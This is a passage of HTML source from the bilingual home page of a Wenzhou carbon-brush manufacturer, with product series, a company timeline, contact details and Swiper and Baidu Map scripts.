                        <span>0577- 62752407（工业碳刷事业部）</span>
                        <p>传真</p>
                        <span>0577-55873678</span>
                    	<p class="topLine">联系人</p>
                        <span>章经理</span>
                        <p>邮箱</p>
                        <span>youyou.zhang@donon.cn</span>
                    </div>
                </div>
                <!-- <div class="right col-md-6">
                    <div class="rightWord">
                    	<p>请通过电子邮件留下您的问题或查询，<br />我们将尽快回复您。</p>
                    	<form action="" method="post">
                    		<input type="text" name="name" placeholder="Enter your name">
                    		<input type="email" name="email" placeholder="Enter your email">
                    		<textarea name="message" placeholder="Your Message" class="textarea"></textarea><br />
                    		<input type="submit" value="Send" class="send">
                    	</form>
                    </div>
                </div> -->
            </div>
            <!-- //section04 -->

            <div class="section section05 footerWrap">
                <div class="footerArea">
                        <div id="map"></div>
                        <div class="container">
                            <div class="row">
	                		<div class="col-md-4 col-sm-2 leftCon">
	                            <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/logo.png">
	                        </div>
	                        <div class="col-md-7 col-sm-8 midCon">
	                        	<p class="copyright">Copyright 2016 Tongroimges INC. All rights reserved.<br /><span style="margin-top: 15px;font-size: 0.8em;color: #e60012;display: inline-block;">@高格广告 设计制作</span></p>
	                        </div>
	                        <div class="col-md-1 col-sm-2 rightCon btn_main_top">
	                            <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/top.png">
	                        </div>
	                    </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- //content -->
</div>
<div class="index hidden-lg hidden-md">
    <div class="swiper-container swiper-container3">
        <div class="swiper-wrapper">
            <div class="swiper-slide">
                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/banner1.jpg" alt="banner">
                <div class="swiper-slide-text">
                    <h1>KAV Carbon Material</h1>
                    <small>KAV Carbon Technology<br />Always at your side</small>
                    <p>励精图治，专注碳刷三十年</p>
                </div>
            </div>
            <div class="swiper-slide">
                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/banner2.jpg" alt="banner">
                <div class="swiper-slide-text">
                    <h1>KAV Carbon Material</h1>
                    <small>Small Part Makes The Great Business. </small>
                    <p>小部件有大作為</p>
                </div>
            </div>
            <div class="swiper-slide">
                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/banner3.jpg" alt="banner">
                <div class="swiper-slide-text">
                    <h1>KAV Carbon Material</h1>
                    <small>Carbon Brush And Brush<br />Holder Assembly For Automobiles</small>
                    <p>电机碳刷及碳刷架</p>
                </div>
            </div>
        </div>
        <div class="swiper-pagination"></div>
    </div>
    <div class="indexSec">
        <h2>COMPANY</h2>
        <p>Top- level carbon enterprise in Asia<br />亚洲一流的电碳企业</p>
        <ul class="indexCompany row">
            <a class="col-md-6" href="/about#/intro">
                <li>
                    <div class="indexCompanytext">
                        <strong>公司介绍</strong>
                        <span>公司1988年成立于浙江省温州市，<br />是国内民营最具规模和实力碳制品企业。</span>
                    </div>
                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/1.jpg" alt="">
                </li>
            </a>
            <a class="col-md-6" href="/about#/stren">
                <li>
                    <div class="indexCompanytext">
                        <strong>产品优势</strong>
                        <span>碳石墨系列材料<br />"十年磨一剑"的坚持不懈……</span>
                    </div>
                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/2.jpg" alt="">
                </li>
            </a>
            <a class="col-md-6" href="/about#/proc">
                <li>
                    <div class="indexCompanytext">
                        <strong class="fsTT">生产实力</strong>
                        <span>高品质源于东南人对缺陷的零容忍</span>
                    </div>
                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/3.jpg" alt="">
                </li>
            </a>
            <a class="col-md-6" href="/about#/apti">
                <li>
                    <div class="indexCompanytext">
                        <strong class="fsTT">资质认证<!-- <span class="i_plus">More</span> --></strong>
                        <span>30多年对品质的持之以恒的默默耕耘，<br />成就东南碳在行业内的良好口碑。</span>
                    </div>
                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/4.jpg" alt="">
                </li>
            </a>
        </ul>
    </div>
    <div class="indexThr">
        <h2>PRODUCT</h2>
        <p>Diversified Development Make Everything Possible<br />多元化的发展，创造无限可能</p>
        <ul class="energyArea row">
            <a href="/pdetail#/car" class="col-md-3 col-sm-12 energy1 energy">
                <li>
                    <span class="topcon">汽车系列电机</span>
                    <span class="bottomTxt">系列介绍</span>
                    <span class="conBox">
                        <strong class="title">
                            系列介绍
                        </strong>
                        <span class="con let">产品广泛应用于汽车多个零部件，如起动机、发电机、电动油泵、冷却风扇、冷暖空调、座椅电机、摇窗电机、EPB、EPS、ABS、EVP等，具有匹配性好，噪音低、运行稳定等特点</span>
                    </span>
                </li>
            </a>
            <a href="/pdetail#/moto" class="col-md-3 col-sm-12 energy2 energy">
                <li>
                    <span class="topcon">摩托车系列电机</span>
                    <span class="bottomTxt">系列介绍</span>
                    <span class="conBox">
                        <strong class="title">
                            系列介绍
                        </strong>
                        <span class="con">产品广泛应用于汽车多个零部件，如起动机、发电机、电动油泵、冷却风扇、冷暖空调、座椅电机、摇窗电机、EPB、EPS、ABS、EVP等，具有匹配性好，噪音低、运行稳定等特点</span>
                    </span>
                </li>
            </a>
            <a href="/pdetail#/home" class="col-md-3 col-sm-12 energy3 energy">
                <li>
                    <span class="topcon">家用电器系列</span>
                    <span class="bottomTxt">系列介绍</span>
                    <span class="conBox">
                        <strong class="title">
                            系列介绍
                        </strong>
                        <span class="con">产品广泛应用于汽车多个零部件，如起动机、发电机、电动油泵、冷却风扇、冷暖空调、座椅电机、摇窗电机、EPB、EPS、ABS、EVP等，具有匹配性好，噪音低、运行稳定等特点</span>
                    </span>
                </li>
            </a>
            <a href="/pdetail#/ele" class="col-md-3 col-sm-12 energy4 energy">
                <li>
                    <span class="topcon">电动工具系列</span>
                    <span class="bottomTxt">系列介绍</span>
                    <span class="conBox">
                        <strong class="title">
                            系列介绍
                        </strong>
                        <span class="con">产品广泛应用于汽车多个零部件，如起动机、发电机、电动油泵、冷却风扇、冷暖空调、座椅电机、摇窗电机、EPB、EPS、ABS、EVP等，具有匹配性好，噪音低、运行稳定等特点</span>
                    </span>
                </li>
            </a>
        </ul>
    </div>
    <div class="section section03" style="width: 100%;overflow: hidden;">
        <div class="sectionCon" id="TimeTopID2">
            <h2>HISTORY</h2>
            <p class="stxt">KAV is a 30 year old and has a history<br />Independent creative production technology company</p>
            <p class="stxt1">凯威是一家拥有30年历史的公司</p>
        </div>
        <div class="timeline" id="timelineID2">
            <div class="swiper-container5" id="swiper-containerID2">
                <div class="swiper-wrapper">
                    <div class="swiper-slide">
                        <ul>
                            <li class="timeLi1"><p>1988</p></li>
                            <li class="dot"><span></span></li>
                            <li class="timeLi2"><p>公司成立<br />并建立第一个现代化工厂</p></li>
                        </ul>
                    </div>
                    <div class="swiper-slide">
                        <ul>
                            <li class="timeLi1">2004</li>
                            <li class="dot"><span></span></li>
                            <li class="timeLi2">公司第二个<br />现代化工厂投入使用</li>
                        </ul>
                    </div>
                    <div class="swiper-slide swiper-slide-active">
                        <ul>
                            <li class="timeLi1">2017</li>
                            <li class="dot"><span></span></li>
                            <li class="timeLi2">公司第三个现代化工厂<br />在温州瓯江口投产，建设面积40亩</li>
                        </ul>
                    </div>
                    <div class="swiper-slide">
                        <ul>
                            <li class="timeLi1">2014</li>
                            <li class="dot"><span></span></li>
                            <li class="timeLi2">公司正式与博世、法雷奥<br />建立合作关系</li>
                        </ul>
                    </div>
                    <div class="swiper-slide">
                        <ul>
                            <li class="timeLi1">2010</li>
                            <li class="dot"><span></span></li>
                            <li class="timeLi2">公司产值突破一亿</li>
                        </ul>
                    </div>
                </div>
                <!-- Add Arrows -->
            </div>
            <div class="swiper-button-prev timePrev"></div>
            <div class="swiper-button-next timeNext"></div>
            <div class="timeAdd" onclick="Add2()"></div>
            <div class="timeClose" id="timeCloseID2" onclick="Close2()"></div>
            <div class="timeButton" id="timeButtonID2"></div>
            <div class="timeLineDetail" id="timeLineDetailID2">
                <ul><p>1988</p>
                    <li>公司第二个现代化工厂投入使用</li>
                </ul>
                <ul><p>2004</p>
                    <li>公司第二个现代化工厂投入使用</li>
                </ul>
                <ul><p>2010</p>
                    <li>公司产值突破一亿</li>
                </ul>
                <ul><p>2014</p>
                    <li>公司正式与博世、法雷奥建立合作关系</li>
                </ul>
                <ul><p>2017</p>
                    <li>公司第三个现代化工厂在温州瓯江口投产，建设面积40亩</li>
                </ul>
            </div>
        </div>
    </div>
    <script>
        var swiper = new Swiper('.swiper-container3',{
            pagination: '.swiper-pagination',
            paginationClickable: true,
            loop: true
        });
    </script>
    <script>
        var swiper = new Swiper('.swiper-container5', {
            nextButton: '.swiper-button-next',
            prevButton: '.swiper-button-prev',
            slidesPerView: 3,
            paginationClickable: true,
            slideActiveClass : 'swiper-slide-active',
            // initialSlide :0,         //从第几个开始
            spaceBetween: 30,
            centeredSlides : true,      //第一个slide居中
            grabCursor: true,           //鼠标变成手
            slideToClickedSlide: true,  //点击slide会过渡到这个slide。
            // freeMode: true,
            loop: true
        });
    </script>
    <script>
        function Add2() {
            document.getElementById("timeLineDetailID2").style.display="block";
            document.getElementById("timeCloseID2").style.display="block";
            document.getElementById("swiper-containerID2").style.display="none";
            document.getElementById("timeButtonID2").style.display="none";
            document.getElementById("TimeTopID2").style.display="none";
            document.getElementById("timelineID2").style.top="40%";
            document.getElementById("timeCloseID2").style.marginTop="60%";
        }
    </script>
    <script>
        function Close2() {
            document.getElementById("timeLineDetailID2").style.display="none";
            document.getElementById("timeCloseID2").style.display="none";
            document.getElementById("swiper-containerID2").style.display="block";
            document.getElementById("timeButtonID2").style.display="block";
            document.getElementById("TimeTopID2").style.display="block";
            document.getElementById("timelineID2").style.top="90%";
            document.getElementById("timeCloseID2").style.marginTop="80px";
        }
    </script>
    <div class="indexFur row">
        <div class="sectionCon4">
            <h2>CONTACT US</h2>
            <p class="stxt">Find Us Here</p>
            <p class="stxt1">在这里找到我们</p>
        </div>
        <div class="left col-md-6">
            <div class="leftWord">
                <p>对用户的倾听和回应，<br />是凯威服务的第一步</p>
                <p>地址<br />浙江省乐清市柳市镇新光工业区148号</p>
                <span>No.148 Xinguang Industrial<br />Zone, LiuShi, YueQing ,ZheJiang ,<br />China.</span>
                <p>电话</p>
                <span>0577-62798282 0577-627903333</span>
                <button><a href="">查看位置<i class="fa fa-map-marker"></i></a></button>
                <p class="topLine">联系人</p>
                <span>林先生</span>
                <p>邮箱</p>
                <span>donon@donon.cn</span>
            </div>
        </div>
        <div class="right col-md-6">
            <div class="rightWord">
                <p>请通过电子邮件留下您的问题或查询，<br />我们将尽快回复您。</p>
                <form action="" method="post">
                    <input type="text" name="name" placeholder="Enter your name">
                    <input type="email" name="email" placeholder="Enter your email">
                    <textarea name="message" placeholder="Your Message" class="textarea"></textarea><br />
                    <input type="submit" value="Send" class="send">
                </form>
            </div>
        </div>
    </div>
    <div class="indexFif">
        <div class="footerArea">
            <div class="row">
                <div class="container">
                    <div class="col-md-4 col-sm-3 col-xs-3 leftCon">
                        <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/logo.png">
                    </div>
                    <div class="col-md-7 col-sm-8 col-xs-7 midCon">
                        <p class="copyright">Copyright 2016 Tongroimges INC. All rights reserved.<span style="margin-top: 15px;font-size: 0.8em;color: #e60012;display: inline-block;">@高格广告 设计制作</span></p>
                    </div>
                    <div class="col-md-1 col-sm-1 col-xs-2 rightCon btn_main_top">
                        <img id="topImg" src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/top.png">
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script>
        $(function(){
          $("#topImg").click(function(){
            $("html,body").animate({
              scrollTop: 0}, 1000
            );
          });
        });
    </script>
</div>
<!-- 百度地图 -->
<script type="text/javascript">
    //创建和初始化地图函数：
    function initMap() {
        createMap();//创建地图
        setMapEvent();//设置地图事件
        addMapControl();//向地图添加控件
        addMapOverlay();//向地图添加覆盖物
    }
    function createMap() {
        map = new BMap.Map("map");
        map.centerAndZoom(new BMap.Point(120.941907, 27.960382), 18);
    }
    function setMapEvent() {
        map.enableScrollWheelZoom();
        map.enableKeyboard();
        map.enableDragging();
        map.enableDoubleClickZoom()
    }
    function addClickHandler(target, window) {
        target.addEventListener("click", function () {
            target.openInfoWindow(window);
        });
    }
    function addMapOverlay() {
        var markers = [
            { content: "", title: "", imageOffset: { width: -46, height: -21 }, position: { lat: 27.960917, lng: 120.941207 } }
        ];
        for (var index = 0; index < markers.length; index++) {
            var point = new BMap.Point(markers[index].position.lng, markers[index].position.lat);
            var marker = new BMap.Marker(point, {
                icon: new BMap.Icon("http://api.map.baidu.com/lbsapi/createmap/images/icon.png", new BMap.Size(20, 25), {
                    imageOffset: new BMap.Size(markers[index].imageOffset.width, markers[index].imageOffset.height)
                })
            });
            var label = new BMap.Label(markers[index].title, { offset: new BMap.Size(25, 5) });
            var opts = {
                width: 200,
                title: markers[index].title,
                enableMessage: false
            };
            var infoWindow = new BMap.InfoWindow(markers[index].content, opts);
            marker.setLabel(label);
            addClickHandler(marker, infoWindow);
            map.addOverlay(marker);
        };
    }
    //向地图添加控件
    function addMapControl() {
        var scaleControl = new BMap.ScaleControl({ anchor: BMAP_ANCHOR_BOTTOM_LEFT });
        scaleControl.setUnit(BMAP_UNIT_IMPERIAL);
        map.addControl(scaleControl);
        var navControl = new BMap.NavigationControl({ anchor: BMAP_ANCHOR_TOP_LEFT, type: BMAP_NAVIGATION_CONTROL_LARGE });
        map.addControl(navControl);
    }
    var map;
    initMap();
</script>
<!-- 百度地图 -->

	<footer>
	<div class="section section05 footerWrap" id="footer">
	    <div class="footerArea">
	        <div class="row">
	            <div class="container">
	        		<div class="col-md-4 col-sm-3 col-xs-3 leftCon">
	                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/logo2.png">
	                </div>
	                <div class="col-md-7 col-sm-8 col-xs-7 midCon">
	                	<p class="copyright">Copyright 2016 Tongroimges INC. All rights reserved.<br /><span style="margin-top: 15px;font-size: 0.8em;color: #e60012;display: inline-block;">@高格广告 设计制作</span></p>
	                </div>
	                <div class="col-md-1 col-sm-1 col-xs-2 rightCon">
	                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/top.png">
	                </div>
	            </div>
	        </div>
	    </div>
	</div>
</footer>
<script>
    $(function(){
      $(".rightCon").click(function(){
        $("html,body").animate({
          scrollTop: 0}, 1000
        );
      });
    });
</script>

</body>
</html>